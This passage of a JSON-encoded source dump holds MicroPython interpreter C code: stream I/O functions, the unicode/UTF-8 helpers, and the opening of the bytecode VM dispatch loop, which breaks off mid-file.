(mp_is_nonblocking_error(error)) {\n                // With non-blocking streams, we read as much as we can.\n                // If we read nothing, return None, just like read().\n                // Otherwise, return data read so far.\n                if (total_size == 0) {\n                    return mp_const_none;\n                }\n                break;\n            }\n            mp_raise_OSError(error);\n        }\n        if (out_sz == 0) {\n            break;\n        }\n        total_size += out_sz;\n        if (out_sz < current_read) {\n            current_read -= out_sz;\n            p += out_sz;\n        } else {\n            p = vstr_extend(&vstr, DEFAULT_BUFFER_SIZE);\n            current_read = DEFAULT_BUFFER_SIZE;\n        }\n    }\n\n    vstr.len = total_size;\n    return mp_obj_new_str_from_vstr(STREAM_CONTENT_TYPE(stream_p), &vstr);\n}\n\n// Unbuffered, inefficient implementation of readline() for raw I/O files.\nSTATIC mp_obj_t stream_unbuffered_readline(size_t n_args, const mp_obj_t *args) {\n    const mp_stream_p_t *stream_p = mp_get_stream_raise(args[0], MP_STREAM_OP_READ);\n\n    mp_int_t max_size = -1;\n    if (n_args > 1) {\n        max_size = MP_OBJ_SMALL_INT_VALUE(args[1]);\n    }\n\n    vstr_t vstr;\n    if (max_size != -1) {\n        vstr_init(&vstr, max_size);\n    } else {\n        vstr_init(&vstr, 16);\n    }\n\n    while (max_size == -1 || max_size-- != 0) {\n        char *p = vstr_add_len(&vstr, 1);\n        if (p == NULL) {\n            mp_raise_msg(&mp_type_MemoryError, \"out of memory\");\n        }\n\n        int error;\n        mp_uint_t out_sz = stream_p->read(args[0], p, 1, &error);\n        if (out_sz == MP_STREAM_ERROR) {\n            if (mp_is_nonblocking_error(error)) {\n                if (vstr.len == 1) {\n                    // We just incremented it, but otherwise we read nothing\n                    // and immediately got EAGAIN. This case is not well\n                    // specified in\n                    // https://docs.python.org/3/library/io.html#io.IOBase.readline\n                    // unlike similar case for read(). But we follow the latter's\n                    // behavior - return None.\n                    vstr_clear(&vstr);\n                    return mp_const_none;\n                } else {\n                    goto done;\n                }\n            }\n            mp_raise_OSError(error);\n        }\n        if (out_sz == 0) {\ndone:\n            // Back out previously added byte\n            // Consider, what's better - read a char and get OutOfMemory (so read\n            // char is lost), or allocate first as we do.\n            vstr_cut_tail_bytes(&vstr, 1);\n            break;\n        }\n        if (*p == '\\n') {\n            break;\n        }\n    }\n\n    return mp_obj_new_str_from_vstr(STREAM_CONTENT_TYPE(stream_p), &vstr);\n}\nMP_DEFINE_CONST_FUN_OBJ_VAR_BETWEEN(mp_stream_unbuffered_readline_obj, 1, 2, stream_unbuffered_readline);\n\n// TODO take an optional extra argument (what does it do exactly?)\nSTATIC mp_obj_t stream_unbuffered_readlines(mp_obj_t self) {\n    mp_obj_t lines = mp_obj_new_list(0, NULL);\n    for (;;) {\n        mp_obj_t line = stream_unbuffered_readline(1, &self);\n        if (!mp_obj_is_true(line)) {\n            break;\n        }\n        mp_obj_list_append(lines, line);\n    }\n    return lines;\n}\nMP_DEFINE_CONST_FUN_OBJ_1(mp_stream_unbuffered_readlines_obj, stream_unbuffered_readlines);\n\nmp_obj_t mp_stream_unbuffered_iter(mp_obj_t self) {\n    mp_obj_t l_in = stream_unbuffered_readline(1, &self);\n    if (mp_obj_is_true(l_in)) {\n        return l_in;\n    }\n    return MP_OBJ_STOP_ITERATION;\n}\n\nSTATIC mp_obj_t stream_seek(size_t n_args, const mp_obj_t *args) {\n    const mp_stream_p_t *stream_p = mp_get_stream_raise(args[0], MP_STREAM_OP_IOCTL);\n\n    struct mp_stream_seek_t seek_s;\n    // TODO: Could be uint64\n    seek_s.offset = mp_obj_get_int(args[1]);\n    seek_s.whence = SEEK_SET;\n    if (n_args == 3) {\n        seek_s.whence = mp_obj_get_int(args[2]);\n    }\n\n    // In POSIX, it's error to seek before end of stream, we enforce it here.\n    if (seek_s.whence == SEEK_SET && seek_s.offset < 0) {\n        mp_raise_OSError(MP_EINVAL);\n    }\n\n    int error;\n    mp_uint_t res = stream_p->ioctl(args[0], MP_STREAM_SEEK, (mp_uint_t)(uintptr_t)&seek_s, &error);\n    if (res == MP_STREAM_ERROR) {\n        mp_raise_OSError(error);\n    }\n\n    // TODO: Could be uint64\n    return mp_obj_new_int_from_uint(seek_s.offset);\n}\nMP_DEFINE_CONST_FUN_OBJ_VAR_BETWEEN(mp_stream_seek_obj, 2, 3, stream_seek);\n\nSTATIC mp_obj_t stream_tell(mp_obj_t self) {\n    mp_obj_t offset = MP_OBJ_NEW_SMALL_INT(0);\n    mp_obj_t whence = MP_OBJ_NEW_SMALL_INT(SEEK_CUR);\n    const mp_obj_t args[3] = {self, offset, whence};\n    return stream_seek(3, args);\n}\nMP_DEFINE_CONST_FUN_OBJ_1(mp_stream_tell_obj, stream_tell);\n\nSTATIC mp_obj_t stream_flush(mp_obj_t self) {\n    const mp_stream_p_t *stream_p = mp_get_stream_raise(self, MP_STREAM_OP_IOCTL);\n    int error;\n    mp_uint_t res = stream_p->ioctl(self, MP_STREAM_FLUSH, 0, &error);\n    if (res == MP_STREAM_ERROR) {\n        mp_raise_OSError(error);\n    }\n    return mp_const_none;\n}\nMP_DEFINE_CONST_FUN_OBJ_1(mp_stream_flush_obj, stream_flush);\n\nSTATIC mp_obj_t stream_ioctl(size_t n_args, const mp_obj_t *args) {\n    const mp_stream_p_t *stream_p = mp_get_stream_raise(args[0], MP_STREAM_OP_IOCTL);\n\n    mp_buffer_info_t bufinfo;\n    uintptr_t val = 0;\n    if (n_args > 2) {\n        if (mp_get_buffer(args[2], &bufinfo, MP_BUFFER_WRITE)) {\n            val = (uintptr_t)bufinfo.buf;\n        } else {\n            val = mp_obj_get_int_truncated(args[2]);\n        }\n    }\n\n    int error;\n    mp_uint_t res = stream_p->ioctl(args[0], mp_obj_get_int(args[1]), val, &error);\n    if (res == MP_STREAM_ERROR) {\n        mp_raise_OSError(error);\n    }\n\n    return mp_obj_new_int(res);\n}\nMP_DEFINE_CONST_FUN_OBJ_VAR_BETWEEN(mp_stream_ioctl_obj, 2, 3, stream_ioctl);\n\n#if MICROPY_STREAMS_POSIX_API\n/*\n * POSIX-like functions\n *\n * These functions have POSIX-compatible signature (except for \"void *stream\"\n * first argument instead of \"int fd\"). They are useful to port existing\n * POSIX-compatible software to work with MicroPython streams.\n */\n\n// errno-like variable. If any of the functions below returned with error\n// status, this variable will contain error no.\nint mp_stream_errno;\n\nssize_t mp_stream_posix_write(mp_obj_t stream, const void *buf, size_t len) {\n    mp_obj_base_t* o = (mp_obj_base_t*)MP_OBJ_TO_PTR(stream);\n    const mp_stream_p_t *stream_p = o->type->protocol;\n    mp_uint_t out_sz = stream_p->write(stream, buf, len, &mp_stream_errno);\n    if (out_sz == MP_STREAM_ERROR) {\n        return -1;\n    } else {\n        return out_sz;\n    }\n}\n\nssize_t mp_stream_posix_read(mp_obj_t stream, void *buf, size_t len) {\n    mp_obj_base_t* o = (mp_obj_base_t*)MP_OBJ_TO_PTR(stream);\n    const mp_stream_p_t *stream_p = o->type->protocol;\n    mp_uint_t out_sz = stream_p->read(stream, buf, len, &mp_stream_errno);\n    if (out_sz == MP_STREAM_ERROR) {\n        return -1;\n    } else {\n        return out_sz;\n    }\n}\n\noff_t mp_stream_posix_lseek(mp_obj_t stream, off_t offset, int whence) {\n    const mp_obj_base_t* o = (mp_obj_base_t*)MP_OBJ_TO_PTR(stream);\n    const mp_stream_p_t *stream_p = o->type->protocol;\n    struct mp_stream_seek_t seek_s;\n    seek_s.offset = offset;\n    seek_s.whence = whence;\n    mp_uint_t res = stream_p->ioctl(stream, MP_STREAM_SEEK, (mp_uint_t)(uintptr_t)&seek_s, &mp_stream_errno);\n    if (res == MP_STREAM_ERROR) {\n        return -1;\n    }\n    return seek_s.offset;\n}\n\nint mp_stream_posix_fsync(mp_obj_t stream) {\n    mp_obj_base_t* o = (mp_obj_base_t*)MP_OBJ_TO_PTR(stream);\n    const mp_stream_p_t *stream_p = o->type->protocol;\n    mp_uint_t res = stream_p->ioctl(stream, MP_STREAM_FLUSH, 0, &mp_stream_errno);\n    if (res == MP_STREAM_ERROR) {\n        return -1;\n    }\n    return res;\n}\n\n#endif\n"
  },
  {
    "path": "micropython/source/py/unicode.c",
    "content": "/*\n * This file is part of the MicroPython project, http://micropython.org/\n *\n * The MIT License (MIT)\n *\n * Copyright (c) 2013, 2014 Damien P. George\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n */\n\n#include <stdint.h>\n\n#include \"py/unicode.h\"\n\n// attribute flags\n#define FL_PRINT (0x01)\n#define FL_SPACE (0x02)\n#define FL_DIGIT (0x04)\n#define FL_ALPHA (0x08)\n#define FL_UPPER (0x10)\n#define FL_LOWER (0x20)\n#define FL_XDIGIT (0x40)\n\n// shorthand character attributes\n#define AT_PR (FL_PRINT)\n#define AT_SP (FL_SPACE | FL_PRINT)\n#define AT_DI (FL_DIGIT | FL_PRINT | FL_XDIGIT)\n#define AT_AL (FL_ALPHA | FL_PRINT)\n#define AT_UP (FL_UPPER | FL_ALPHA | FL_PRINT)\n#define AT_LO (FL_LOWER | FL_ALPHA | FL_PRINT)\n#define AT_UX (FL_UPPER | FL_ALPHA | FL_PRINT | FL_XDIGIT)\n#define AT_LX (FL_LOWER | FL_ALPHA | FL_PRINT | FL_XDIGIT)\n\n// table of attributes for ascii characters\nSTATIC const uint8_t attr[] = {\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, AT_SP, AT_SP, AT_SP, AT_SP, AT_SP, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0,\n    AT_SP, AT_PR, AT_PR, AT_PR, AT_PR, AT_PR, AT_PR, AT_PR,\n    AT_PR, AT_PR, AT_PR, AT_PR, AT_PR, AT_PR, AT_PR, AT_PR,\n    AT_DI, AT_DI, AT_DI, AT_DI, AT_DI, AT_DI, AT_DI, AT_DI,\n    AT_DI, AT_DI, AT_PR, AT_PR, AT_PR, AT_PR, AT_PR, AT_PR,\n    AT_PR, AT_UX, AT_UX, AT_UX, AT_UX, AT_UX, AT_UX, AT_UP,\n    AT_UP, AT_UP, AT_UP, AT_UP, AT_UP, AT_UP, AT_UP, AT_UP,\n    AT_UP, AT_UP, AT_UP, AT_UP, AT_UP, AT_UP, AT_UP, AT_UP,\n    AT_UP, AT_UP, AT_UP, AT_PR, AT_PR, AT_PR, AT_PR, AT_PR,\n    AT_PR, AT_LX, AT_LX, AT_LX, AT_LX, AT_LX, AT_LX, AT_LO,\n    AT_LO, AT_LO, AT_LO, AT_LO, AT_LO, AT_LO, AT_LO, AT_LO,\n    AT_LO, AT_LO, AT_LO, AT_LO, AT_LO, AT_LO, AT_LO, AT_LO,\n    AT_LO, AT_LO, AT_LO, AT_PR, AT_PR, AT_PR, AT_PR, 0\n};\n\n// TODO: Rename to str_get_char\nunichar utf8_get_char(const byte *s) {\n#if MICROPY_PY_BUILTINS_STR_UNICODE\n    unichar ord = *s++;\n    if (!UTF8_IS_NONASCII(ord)) return ord;\n    ord &= 0x7F;\n    for (unichar mask = 0x40; ord & mask; mask >>= 1) {\n        ord &= ~mask;\n    }\n    while (UTF8_IS_CONT(*s)) {\n        ord = (ord << 6) | (*s++ & 0x3F);\n    }\n    return ord;\n#else\n    return *s;\n#endif\n}\n\n// TODO: Rename to str_next_char\nconst byte *utf8_next_char(const byte *s) {\n#if MICROPY_PY_BUILTINS_STR_UNICODE\n    ++s;\n    while (UTF8_IS_CONT(*s)) {\n        ++s;\n    }\n    return s;\n#else\n    return s + 1;\n#endif\n}\n\nmp_uint_t utf8_ptr_to_index(const byte *s, const byte *ptr) {\n    mp_uint_t i = 0;\n    while (ptr > s) {\n        if (!UTF8_IS_CONT(*--ptr)) {\n            i++;\n        }\n    }\n\n    return i;\n}\n\n// TODO: Rename to str_charlen\nmp_uint_t unichar_charlen(const char *str, mp_uint_t len) {\n#if MICROPY_PY_BUILTINS_STR_UNICODE\n    mp_uint_t charlen = 0;\n    for (const char *top = str + len; str < top; ++str) {\n        if (!UTF8_IS_CONT(*str)) {\n            ++charlen;\n        }\n    }\n    return charlen;\n#else\n    return len;\n#endif\n}\n\n// Be aware: These unichar_is* functions are actually ASCII-only!\nbool unichar_isspace(unichar c) {\n    return c < 128 && (attr[c] & FL_SPACE) != 0;\n}\n\nbool unichar_isalpha(unichar c) {\n    return c < 128 && (attr[c] & FL_ALPHA) != 0;\n}\n\n/* unused\nbool unichar_isprint(unichar c) {\n    return c < 128 && (attr[c] & FL_PRINT) != 0;\n}\n*/\n\nbool unichar_isdigit(unichar c) {\n    return c < 128 && (attr[c] & FL_DIGIT) != 0;\n}\n\nbool unichar_isxdigit(unichar c) {\n    return c < 128 && (attr[c] & FL_XDIGIT) != 0;\n}\n\nbool unichar_isident(unichar c) {\n    return c < 128 && ((attr[c] & (FL_ALPHA | FL_DIGIT)) != 0 || c == '_');\n}\n\nbool unichar_isupper(unichar c) {\n    return c < 128 && (attr[c] & FL_UPPER) != 0;\n}\n\nbool unichar_islower(unichar c) {\n    return c < 128 && (attr[c] & FL_LOWER) != 0;\n}\n\nunichar unichar_tolower(unichar c) {\n    if (unichar_isupper(c)) {\n        return c + 0x20;\n    }\n    return c;\n}\n\nunichar unichar_toupper(unichar c) {\n    if (unichar_islower(c)) {\n        return c - 0x20;\n    }\n    return c;\n}\n\nmp_uint_t unichar_xdigit_value(unichar c) {\n    // c is assumed to be hex digit\n    mp_uint_t n = c - '0';\n    if (n > 9) {\n        n &= ~('a' - 'A');\n        n -= ('A' - ('9' + 1));\n    }\n    return n;\n}\n"
  },
  {
    "path": "micropython/source/py/vm.c",
    "content": "/*\n * This file is part of the MicroPython project, http://micropython.org/\n *\n * The MIT License (MIT)\n *\n * Copyright (c) 2013, 2014 Damien P. George\n * Copyright (c) 2014 Paul Sokolovsky\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n */\n\n#include <stdio.h>\n#include <string.h>\n#include <assert.h>\n\n#include \"py/mpstate.h\"\n#include \"py/nlr.h\"\n#include \"py/emitglue.h\"\n#include \"py/objtype.h\"\n#include \"py/runtime.h\"\n#include \"py/bc0.h\"\n#include \"py/bc.h\"\n\n#if 0\n#define TRACE(ip) printf(\"sp=%d \", (int)(sp - &code_state->state[0] + 1)); mp_bytecode_print2(ip, 1, code_state->fun_bc->const_table);\n#else\n#define TRACE(ip)\n#endif\n\n// Value stack grows up (this makes it incompatible with native C stack, but\n// makes sure that arguments to functions are in natural order arg1..argN\n// (Python semantics mandates left-to-right evaluation order, including for\n// function arguments). Stack pointer is pre-incremented and points at the\n// top element.\n// Exception stack also grows up, top element is also pointed at.\n\n// Exception stack unwind reasons (WHY_* in CPython-speak)\n// TODO perhaps compress this to RETURN=0, JUMP>0, with number of unwinds\n// left to do encoded in the JUMP number\ntypedef enum {\n    UNWIND_RETURN = 1,\n    UNWIND_JUMP,\n} mp_unwind_reason_t;\n\n#define DECODE_UINT \\\n    mp_uint_t unum = 0; \\\n    do { \\\n        unum = (unum << 7) + (*ip & 0x7f); \\\n    } while ((*ip++ & 0x80) != 0)\n#define DECODE_ULABEL size_t ulab = (ip[0] | (ip[1] << 8)); ip += 2\n#define DECODE_SLABEL size_t slab = (ip[0] | (ip[1] << 8)) - 0x8000; ip += 2\n\n#if MICROPY_PERSISTENT_CODE\n\n#define DECODE_QSTR \\\n    qstr qst = ip[0] | ip[1] << 8; \\\n    ip += 2;\n#define DECODE_PTR \\\n    DECODE_UINT; \\\n    void *ptr = (void*)(uintptr_t)code_state->fun_bc->const_table[unum]\n#define DECODE_OBJ \\\n    DECODE_UINT; \\\n    mp_obj_t obj = (mp_obj_t)code_state->fun_bc->const_table[unum]\n\n#else\n\n#define DECODE_QSTR qstr qst = 0; \\\n    do { \\\n        qst = (qst << 7) + (*ip & 0x7f); \\\n    } while ((*ip++ & 0x80) != 0)\n#define DECODE_PTR \\\n    ip = (byte*)MP_ALIGN(ip, sizeof(void*)); \\\n    void *ptr = *(void**)ip; \\\n    ip += sizeof(void*)\n#define DECODE_OBJ \\\n    ip = (byte*)MP_ALIGN(ip, sizeof(mp_obj_t)); \\\n    mp_obj_t obj = *(mp_obj_t*)ip; \\\n    ip += sizeof(mp_obj_t)\n\n#endif\n\n#define PUSH(val) *++sp = (val)\n#define POP() (*sp--)\n#define TOP() (*sp)\n#define SET_TOP(val) *sp = (val)\n\n#if MICROPY_PY_SYS_EXC_INFO\n#define CLEAR_SYS_EXC_INFO() MP_STATE_VM(cur_exception) = NULL;\n#else\n#define CLEAR_SYS_EXC_INFO()\n#endif\n\n#define PUSH_EXC_BLOCK(with_or_finally) do { \\\n    DECODE_ULABEL; /* except labels are always forward */ \\\n    ++exc_sp; \\\n    exc_sp->handler = ip + ulab; \\\n    exc_sp->val_sp = MP_TAGPTR_MAKE(sp, ((with_or_finally) << 1) | currently_in_except_block); \\\n    exc_sp->prev_exc = NULL; \\\n    currently_in_except_block = 0; /* in a try block now */ \\\n} while (0)\n\n#define POP_EXC_BLOCK() \\\n    currently_in_except_block = MP_TAGPTR_TAG0(exc_sp->val_sp); /* restore previous state */ \\\n    exc_sp--; /* pop back to previous exception handler */ \\\n    CLEAR_SYS_EXC_INFO() /* just clear sys.exc_info(), not compliant, but it shouldn't be used in 1st place */\n\n// fastn has items in reverse order (fastn[0] is local[0], fastn[-1] is local[1], etc)\n// sp points to bottom of stack which grows up\n// returns:\n//  MP_VM_RETURN_NORMAL, sp valid, return value in *sp\n//  MP_VM_RETURN_YIELD, ip, sp valid, yielded value in *sp\n//  MP_VM_RETURN_EXCEPTION, exception in fastn[0]\nmp_vm_return_kind_t mp_execute_bytecode(mp_code_state_t *code_state, volatile mp_obj_t inject_exc) {\n#define SELECTIVE_EXC_IP (0)\n#if SELECTIVE_EXC_IP\n#define MARK_EXC_IP_SELECTIVE() { code_state->ip = ip; } /* stores ip 1 byte past last opcode */\n#define MARK_EXC_IP_GLOBAL()\n#else\n#define MARK_EXC_IP_SELECTIVE()\n#define MARK_EXC_IP_GLOBAL() { code_state->ip = ip; } /* stores ip pointing to last opcode */\n#endif\n#if MICROPY_OPT_COMPUTED_GOTO\n    #include \"py/vmentrytable.h\"\n    #define DISPATCH() do { \\\n        TRACE(ip); \\\n        MARK_EXC_IP_GLOBAL(); \\\n        goto *entry_table[*ip++]; \\\n    } while (0)\n    #define DISPATCH_WITH_PEND_EXC_CHECK() goto pending_exception_check\n    #define ENTRY(op) entry_##op\n    #define ENTRY_DEFAULT entry_default\n#else\n    #define DISPATCH() break\n    #define DISPATCH_WITH_PEND_EXC_CHECK() goto pending_exception_check\n    #define ENTRY(op) case op\n    #define ENTRY_DEFAULT default\n#endif\n\n    // nlr_raise needs to be implemented as a goto, so that the C compiler's flow analyser\n    // sees that it's possible for us to jump from the dispatch loop to the exception\n    // handler.  Without this, the code may have a different stack layout in the dispatch\n    // loop and the exception handler, leading to very obscure bugs.\n    #define RAISE(o) do { nlr_pop(); nlr.ret_val = MP_OBJ_TO_PTR(o); goto exception_handler; } while (0)\n\n#if MICROPY_STACKLESS\nrun_code_state: ;\n#endif\n    // Pointers which are constant for particular invocation of mp_execute_bytecode()\n    mp_obj_t * /*const*/ fastn;\n    mp_exc_stack_t * /*const*/ exc_stack;\n    {\n        size_t n_state = mp_decode_uint_value(code_state->fun_bc->bytecode);\n        fastn = &code_state->state[n_state - 1];\n        exc_stack = (mp_exc_stack_t*)(code_state->state + n_state);\n    }\n\n    // variables that are visible to the exception handler (declared volatile)\n    volatile bool currently_in_except_block = MP_TAGPTR_TAG0(code_state->exc_sp); // 0 or 1, to detect nested exceptions\n    mp_exc_stack_t *volatile exc_sp = MP_TAGPTR_PTR(code_state->exc_sp); // stack grows up, exc_sp points to top of stack\n\n    #if MICROPY_PY_THREAD_GIL && MICROPY_PY_THREAD_GIL_VM_DIVISOR\n    // This needs to be volatile and outside the VM loop so it persists across handling\n    // of any exceptions.  Otherwise it's possible that the VM never gives up the GIL.\n    volatile int gil_divisor = MICROPY_PY_THREAD_GIL_VM_DIVISOR;\n    #endif\n\n    // outer exception handling loop\n    for (;;) {\n        nlr_buf_t nlr;\nouter_dispatch_loop:\n        if (nlr_push(&nlr) == 0) {\n            // local variables that are not visible to the exception handler\n            const byte *ip = code_state->ip;\n            mp_obj_t *sp = code_state->sp;\n            mp_obj_t obj_shared;\n            MICROPY_VM_HOOK_INIT\n\n            // If we have exception to inject, now that we finish setting up\n            // execution context, raise it. This works as if RAISE_VARARGS\n            // bytecode was executed.\n            // Injecting exc into yield from generator is a special case,\n            // handled by MP_BC_YIELD_FROM itself\n            if (inject_exc != MP_OBJ_NULL && *ip != MP_BC_YIELD_FROM) {\n                mp_obj_t exc = inject_exc;\n                inject_exc = MP_OBJ_NULL;\n                exc = mp_make_raise_obj(exc);\n                RAISE(exc);\n            }\n\n            // loop to execute byte code\n            for (;;) {\ndispatch_loop:\n#if MICROPY_OPT_COMPUTED_GOTO\n                DISPATCH();\n#else\n                TRACE(ip);\n                MARK_EXC_IP_GLOBAL();\n                switch (*ip++) {\n#endif\n\n                ENTRY(MP_BC_LOAD_CONST_FALSE):\n                    PUSH(mp_const_false);\n                    DISPATCH();\n\n                ENTRY(MP_BC_LOAD_CONST_NONE):\n                    PUSH(mp_const_none);\n                    DISPATCH();\n\n                ENTRY(MP_BC_LOAD_CONST_TRUE):\n                    PUSH(mp_const_true);\n                    DISPATCH();\n\n                ENTRY(MP_BC_LOAD_CONST_SMALL_INT): {\n                    mp_int_t num = 0;\n                    if ((ip[0] & 0x40) != 0) {\n                        // Number is negative\n                        num--;\n                    }\n                    do {\n                        num = (num << 7) | (*ip & 0x7f);\n                    } while ((*ip++ & 0x80) != 0);\n                    PUSH(MP_OBJ_NEW_SMALL_INT(num));\n                    DISPATCH();\n                }\n\n                ENTRY(MP_BC_LOAD_CONST_STRING): {\n                    DECODE_QSTR;\n                    PUSH(MP_OBJ_NEW_QSTR(qst));\n                    DISPATCH();\n                }\n\n                ENTRY(MP_BC_LOAD_CONST_OBJ): {\n                    DECODE_OBJ;\n                    PUSH(obj);\n                    DISPATCH();\n                }\n\n                ENTRY(MP_BC_LOAD_NULL):\n                    PUSH(MP_OBJ_NULL);\n                    DISPATCH();\n\n                ENTRY(MP_BC_LOAD_FAST_N): {\n                    DECODE_UINT;\n                    obj_shared = fastn[-unum];\n                    load_check:\n                    if (obj_shared == MP_OBJ_NULL) {\n                        local_name_error: {\n                            MARK_EXC_IP_SELECTIVE();\n                            mp_obj_t obj = mp_obj_new_exception_msg(&mp_type_NameError, \"local variable referenced before assignment\");\n                            RAISE(obj);\n                        }\n                    }\n                    PUSH(obj_shared);\n                    DISPATCH();\n                }\n\n                ENTRY(MP_BC_LOAD_DEREF): {\n                    DECODE_UINT;\n                    obj_shared = mp_obj_cell_get(fastn[-unum]);\n                    goto load_check;\n                }\n\n                #if !MICROPY_OPT_CACHE_MAP_LOOKUP_IN_BYTECODE\n                ENTRY(MP_BC_LOAD_NAME): {\n                    MARK_EXC_IP_SELECTIVE();\n                    DECODE_QSTR;\n                    PUSH(mp_load_name(qst));\n                    DISPATCH();\n                }\n                #else\n                ENTRY(MP_BC_LOAD_NAME): {\n                    MARK_EXC_IP_SELECTIVE();\n                    DECODE_QSTR;\n                    mp_obj_t key = MP_OBJ_NEW_QSTR(qst);\n                    mp_uint_t x = *ip;\n                    if (x < mp_locals_get()->map.alloc && mp_locals_get()->map.table[x].key == key) {\n                        PUSH(mp_locals_get()->map.table[x].value);\n                    } else {\n                        mp_map_elem_t *elem = mp_map_lookup(&mp_locals_get()->map, MP_OBJ_NEW_QSTR(qst), MP_MAP_LOOKUP);\n                        if (elem != NULL) {\n                            *(byte*)ip = (elem - &mp_locals_get()->map.table[0]) & 0xff;\n                            PUSH(elem->value);\n                        } else {\n                            PUSH(mp_load_name(MP_OBJ_QSTR_VALUE(key)));\n                        }\n                    }\n                    ip++;\n                    DISPATCH();\n                }\n                #endif\n\n                #if !MICROPY_OPT_CACHE_MAP_LOOKUP_IN_BYTECODE\n                ENTRY(MP_BC_LOAD_GLOBAL): {\n                    MARK_EXC_IP_SELECTIVE();\n                    DECODE_QSTR;\n                    PUSH(mp_load_global(qst));\n                    DISPATCH();\n                }\n                #else\n                ENTRY(MP_BC_LOAD_GLOBAL): {\n                    MARK_EXC_IP_SELECTIVE();\n                    DECODE_QSTR;\n                    mp_obj_t key = MP_OBJ_NEW_QSTR(qst);\n                    mp_uint_t x = *ip;\n                    if (x < mp_globals_get()->map.alloc && mp_globals_get()->map.table[x].key == key) {\n                        PUSH(mp_globals_get()->map.table[x].value);\n                    } else {\n                        mp_map_elem_t *elem = mp_map_lookup(&mp_globals_get()->map, MP_OBJ_NEW_QSTR(qst), MP_MAP_LOOKUP);\n                        if (elem != NULL) {\n                            *(byte*)ip = (elem - &mp_globals_get()->map.table[0]) & 0xff;\n                            PUSH(elem->value);\n                        } else {\n                            PUSH(mp_load_global(MP_OBJ_QSTR_VALUE(key)));\n                        }\n                    }\n                    ip++;\n                    DISPATCH();\n                }\n                #endif\n\n                #if !MICROPY_OPT_CACHE_MAP_LOOKUP_IN_BYTECODE\n                ENTRY(MP_BC_LOAD_ATTR): {\n                    MARK_EXC_IP_SELECTIVE();\n                    DECODE_QSTR;\n                    SET_TOP(mp_load_attr(TOP(), qst));\n                    DISPATCH();\n                }\n                #else\n                ENTRY(MP_BC_LOAD_ATTR): {\n                    MARK_EXC_IP_SELECTIVE();\n                    DECODE_QSTR;\n                    mp_obj_t top = TOP();\n                    if (mp_obj_get_type(top)->attr == mp_obj_instance_attr) {\n                        mp_obj_instance_t *self = MP_OBJ_TO_PTR(top);\n                        mp_uint_t x = *ip;\n                        mp_obj_t key = MP_OBJ_NEW_QSTR(qst);\n                        mp_map_elem_t *elem;\n                        if (x < self->members.alloc && self->members.table[x].key == key) {\n                            elem = &self->members.table[x];\n                        } else {\n                            elem = mp_map_lookup(&self->members, key, MP_MAP_LOOKUP);\n                            if (elem != NULL) {\n                                *(byte*)ip = elem - &self->members.table[0];\n                            } else {\n                                goto load_attr_cache_fail;\n                            }\n                        }\n                        SET_TOP(elem->value);\n                        ip++;\n                        DISPATCH();\n                    }\n                load_attr_cache_fail:\n                    SET_TOP(mp_load_attr(top, qst));\n                    ip++;\n                    DISPATCH();\n                }\n                #endif\n\n                ENTRY(MP_BC_LOAD_METHOD): {\n                    MARK_EXC_IP_SELECTIVE();\n                    DECODE_QSTR;\n                    mp_load_method(*sp, qst, sp);\n                    sp += 1;\n                    DISPATCH();\n                }\n\n                ENTRY(MP_BC_LOAD_SUPER_METHOD): {\n                    MARK_EXC_IP_SELECTIVE();\n                    DECODE_QSTR;\n                    sp -= 1;\n                    mp_load_super_method(qst, sp - 1);\n                    DISPATCH();\n                }\n\n                ENTRY(MP_BC_LOAD_BUILD_CLASS):\n                    MARK_EXC_IP_SELECTIVE();\n                    PUSH(mp_load_build_class());\n                    DISPATCH();\n\n                ENTRY(MP_BC_LOAD_SUBSCR): {\n                    MARK_EXC_IP_SELECTIVE();\n                    mp_obj_t index = POP();\n                    SET_TOP(mp_obj_subscr(TOP(), index, MP_OBJ_SENTINEL));\n                    DISPATCH();\n                }\n\n                ENTRY(MP_BC_STORE_FAST_N): {\n                    DECODE_UINT;\n                    fastn[-unum] = POP();\n                    DISPATCH();\n                }\n\n                ENTRY(MP_BC_STORE_DEREF): {\n                    DECODE_UINT;\n                    mp_obj_cell_set(fastn[-unum], POP());\n                    DISPATCH();\n                }\n\n                ENTRY(MP_BC_STORE_NAME): {\n                    MARK_EXC_IP_SELECTIVE();\n                    DECODE_QSTR;\n                    mp_store_name(qst, POP());\n                    DISPATCH();\n                }\n\n                ENTRY(MP_BC_STORE_GLOBAL): {\n                    MARK_EXC_IP_SELECTIVE();\n                    DECODE_QSTR;\n                    mp_store_global(qst, POP());\n                    